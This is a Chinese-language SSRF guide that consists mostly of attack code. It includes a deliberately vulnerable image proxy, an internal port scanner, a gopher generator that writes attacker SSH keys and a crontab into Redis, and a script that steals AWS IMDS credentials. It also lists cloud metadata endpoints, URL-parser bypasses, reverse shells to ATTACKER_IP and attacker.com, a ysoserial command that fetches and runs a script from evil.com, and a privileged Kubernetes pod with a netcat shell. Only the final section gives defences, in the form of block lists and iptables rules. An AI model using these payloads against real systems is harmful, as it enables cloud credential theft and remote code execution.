SSRF完全指南：内网探测、云元数据窃取与协议走私

# 存在漏洞的图片代理服务
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/fetch-image')
def fetch_image():
    url = request.args.get('url')
    # 危险：服务端直接请求用户提供的 URL
    resp = requests.get(url)
    return resp.content

# 攻击：/fetch-image?url=http://169.254.169.254/latest/meta-data/

# 内网端口扫描
import requests
import sys

target = sys.argv[1]
for port in [22, 80, 443, 3306, 6379, 8080, 9090, 27017]:
    try:
        r = requests.get(f"http://{target}:{port}", timeout=2)
        print(f"[OPEN] {target}:{port} - {r.status_code}")
    except requests.exceptions.ConnectTimeout:
        print(f"[CLOSED] {target}:{port}")
    except requests.exceptions.ConnectionError:
        print(f"[FILTERED] {target}:{port}")
    except Exception as e:
        print(f"[UNKNOWN] {target}:{port} - {type(e).__name__}")

#!/usr/bin/env python3
"""SSRF Gopher Payload Generator"""
import urllib.parse

def build_gopher_payload(host, port, commands):
    """
    将 Redis 命令列表转换为 Gopher URL
    commands: 每行一条 Redis 命令
    """
    # 构造 RESP 协议格式
    payload = ""
    for cmd_line in commands:
        if not cmd_line.strip() or cmd_line.strip().startswith('#'):
            continue
        parts = cmd_line.strip().split()
        payload += f"*{len(parts)}\r\n"
        for part in parts:
            payload += f"${len(part)}\r\n{part}\r\n"
    
    # Gopher 协议的 _ 字符需要二次编码
    encoded = urllib.parse.quote(payload, safe='')
    
    gopher_url = f"gopher://{host}:{port}/_{encoded}"
    return gopher_url

# 示例：向 Redis 写入 SSH 公钥
redis_commands = """
FLUSHALL
SET ssh_key "\\n\\nssh-rsa AAAAB3NzaC1yc2E...attacker@kali\\n\\n"
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE
"""

url = build_gopher_payload("127.0.0.1", 6379, redis_commands.splitlines())
print(f"[+] Gopher Payload:\n{url}")

# 通过 SSRF 发送
# /fetch-image?url={url}

import requests

# 通过 SSRF 窃取 AWS 元数据的完整链
target_ssrf_url = "https://vulnerable-app.com/fetch?url="

# Step 1: 获取 IAM 角色名
imds_base = "http://169.254.169.254/latest/meta-data"
role_url = f"{imds_base}/iam/security-credentials/"
role_name = requests.get(f"{target_ssrf_url}{role_url}").text

# Step 2: 获取临时凭证（AccessKey, SecretKey, Token）
creds_url = f"{imds_base}/iam/security-credentials/{role_name.strip()}"
creds = requests.get(f"{target_ssrf_url}{creds_url}").json()

print(f"""
[+] AWS Credentials Stolen:
    AccessKeyId: {creds['AccessKeyId']}
    SecretAccessKey: {creds['SecretAccessKey']}
    Token: {creds['Token']}
    Expiration: {creds['Expiration']}
""")

# Step 3: 使用窃取的凭证列举 S3 Bucket
# aws s3 ls --profile stolen
# aws s3 cp s3://target-bucket/database_backup.sql ./

# 阿里云 ECS 元数据端点
curl http://100.100.100.200/latest/meta-data/

# 关键元数据路径
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/ram/security-credentials/{role-name}
http://100.100.100.200/latest/meta-data/private-ipv4
http://100.100.100.200/latest/user-data  # 可能包含初始化脚本中的敏感信息

# 腾讯云元数据端点（metadata 拼写注意）
curl http://metadata.tencentyun.com/latest/meta-data/
curl http://169.254.0.23/latest/meta-data/

# 获取角色凭证
curl http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/{role-name}

# GCP
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token \
     -H "Metadata-Flavor: Google"

# Azure
curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ \
     -H "Metadata: true"

# DigitalOcean
curl http://169.254.169.254/metadata/v1.json

# 利用不同 URL 解析器的差异
# 1. 利用 @ 符号
http://trusted.com@evil.com           # 部分解析器认为是 trusted.com，实际请求 evil.com
http://evil.com#@trusted.com          # # 后视为 fragment

# 2. 利用 URL Scheme 大小写
HTTP://169.254.169.254/              # 大写绕过

# 3. 利用 URL 编码
http://169.254.169.254%2f@evil.com/  # 解析差异

# 4. 利用重定向（302 跳转）
# 让一个外网可控域名 302 跳转到 http://169.254.169.254/
# 首次 URL 校验通过 → 跟随跳转 → 请求内网

#!/usr/bin/env python3
"""
DNS Rebinding 攻击：利用 TTL=0 的 DNS 记录在不同解析时刻返回不同 IP
"""
from flask import Flask, request

app = Flask(__name__)
TOGGLE = False

@app.route('/resolve')
def dns_rebind():
    """模拟 DNS 服务器，交替返回外网 IP 和内网 IP"""
    global TOGGLE
    TOGGLE = not TOGGLE
    if TOGGLE:
        return "1.2.3.4"    # 首次校验：外网合法 IP
    else:
        return "127.0.0.1"  # 实际请求：内网

# 使用 rbndr.us 服务实现 DNS Rebinding
# 域名：7f000001.127.0.0.1.rbndr.us → 交替返回 127.0.0.1 和 另一个 IP

# Step 1: 通过 SSRF 探测内网 Redis（无密码）
# SSRF: /fetch?url=dict://10.0.1.5:6379/INFO

# Step 2: 构造 RCE Payload——写 crontab 反弹 Shell
# 使用 gopher 协议（需要后端支持，如 curl）
cat << 'EOF' | python3 -c "
import sys, urllib.parse
payload = '* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n'
cmds = f'*3\r\n\$6\r\nCONFIG\r\n\$3\r\nSET\r\n\$3\r\ndir\r\n\$4\r\n/etc\r\n*4\r\n\$6\r\nCONFIG\r\n\$3\r\nSET\r\n\$10\r\ndbfilename\r\n\$7\r\ncrontab\r\n*1\r\n\$4\r\nSAVE\r\n'
# 实际写入 crontab 更复杂，这里简化演示
print('gopher://10.0.1.5:6379/_' + urllib.parse.quote(payload))
"

// 当 SSRF 遇到不安全的 Java 反序列化
// SSRF → 内网 Weblogic/Jenkins → T3/IIOP → 反序列化 RCE

// 使用 ysoserial 生成 Payload
// java -jar ysoserial.jar CommonsCollections6 'wget http://evil.com/shell.sh -O /tmp/s.sh;bash /tmp/s.sh' > payload.ser

// 通过 SSRF 使用 gopher 协议投递到内网 Weblogic
// gopher://10.0.2.15:7001/_<hex_encoded_payload>

// SSRF → 内网 Kubernetes API Server
// Kubernetes API 通常监听在 10.0.0.1:443 或 10.96.0.1:443

// 通过 SSRF 创建特权 Pod
POST /api/v1/namespaces/default/pods HTTP/1.1
Host: 10.96.0.1:443
Authorization: Bearer <serviceaccount-token-from-/var/run/secrets/kubernetes.io/serviceaccount/token>
Content-Type: application/json

{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {"name": "evil-pod"},
  "spec": {
    "containers": [{
      "name": "evil",
      "image": "alpine",
      "command": ["/bin/sh", "-c", "nc attacker.com 4444 -e /bin/sh"],
      "volumeMounts": [{"name": "host", "mountPath": "/host"}]
    }],
    "volumes": [{"name": "host", "hostPath": {"path": "/"}}]
  }
}

#!/usr/bin/env python3
"""SSRF 安全请求封装"""
import socket
from urllib.parse import urlparse
import ipaddress
import requests

# 内网 IP 段黑名单
BLOCKED_NETWORKS = [
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('169.254.0.0/16'),  # 云元数据地址
    ipaddress.ip_network('224.0.0.0/4'),     # 组播
]

BLOCKED_HOSTS = {
    'metadata.google.internal',
    '100.100.100.200',      # 阿里云元数据
    'metadata.tencentyun.com',
}

def is_safe_url(url):
    """多层级 URL 安全检查"""
    parsed = urlparse(url)
    
    # 1. 仅允许 HTTP/HTTPS
    if parsed.scheme not in ('http', 'https'):
        return False, f"Forbidden scheme: {parsed.scheme}"
    
    # 2. 检查主机名黑名单
    hostname = parsed.hostname
    if hostname in BLOCKED_HOSTS:
        return False, f"Forbidden hostname: {hostname}"
    
    # 3. DNS 解析后检查 IP（防止 DNS Rebinding）
    try:
        ip = socket.getaddrinfo(hostname, None)[0][4][0]
    except socket.gaierror:
        return False, "DNS resolution failed"
    
    ip_obj = ipaddress.ip_address(ip)
    
    # 4. 检查是否为内网地址
    for network in BLOCKED_NETWORKS:
        if ip_obj in network:
            return False, f"Forbidden IP range: {ip} ({network})"
    
    # 5. 禁止重定向（使用 allow_redirects=False）
    return True, None

def safe_fetch(url, timeout=5):
    """安全的请求代理"""
    safe, reason = is_safe_url(url)
    if not safe:
        raise ValueError(f"SSRF blocked: {reason}")
    
    # 关键：禁用自动重定向
    resp = requests.get(url, timeout=timeout, allow_redirects=False, stream=True)
    
    # 检查重定向
    if resp.status_code in (301, 302, 303, 307, 308):
        redirect_url = resp.headers.get('Location', '')
        safe, _ = is_safe_url(redirect_url)
        if not safe:
            raise ValueError("SSRF blocked: redirect to dangerous target")
    
    return resp.content

# iptables 规则：禁止应用用户访问元数据端点
iptables -A OUTPUT -d 169.254.169.254 -j DROP -m owner --uid-owner appuser
iptables -A OUTPUT -d 100.100.100.200 -j DROP -m owner --uid-owner appuser

# Docker 网络隔离
docker network create --internal secure-network
docker run --network=secure-network myapp  # 无外网无内网访问能力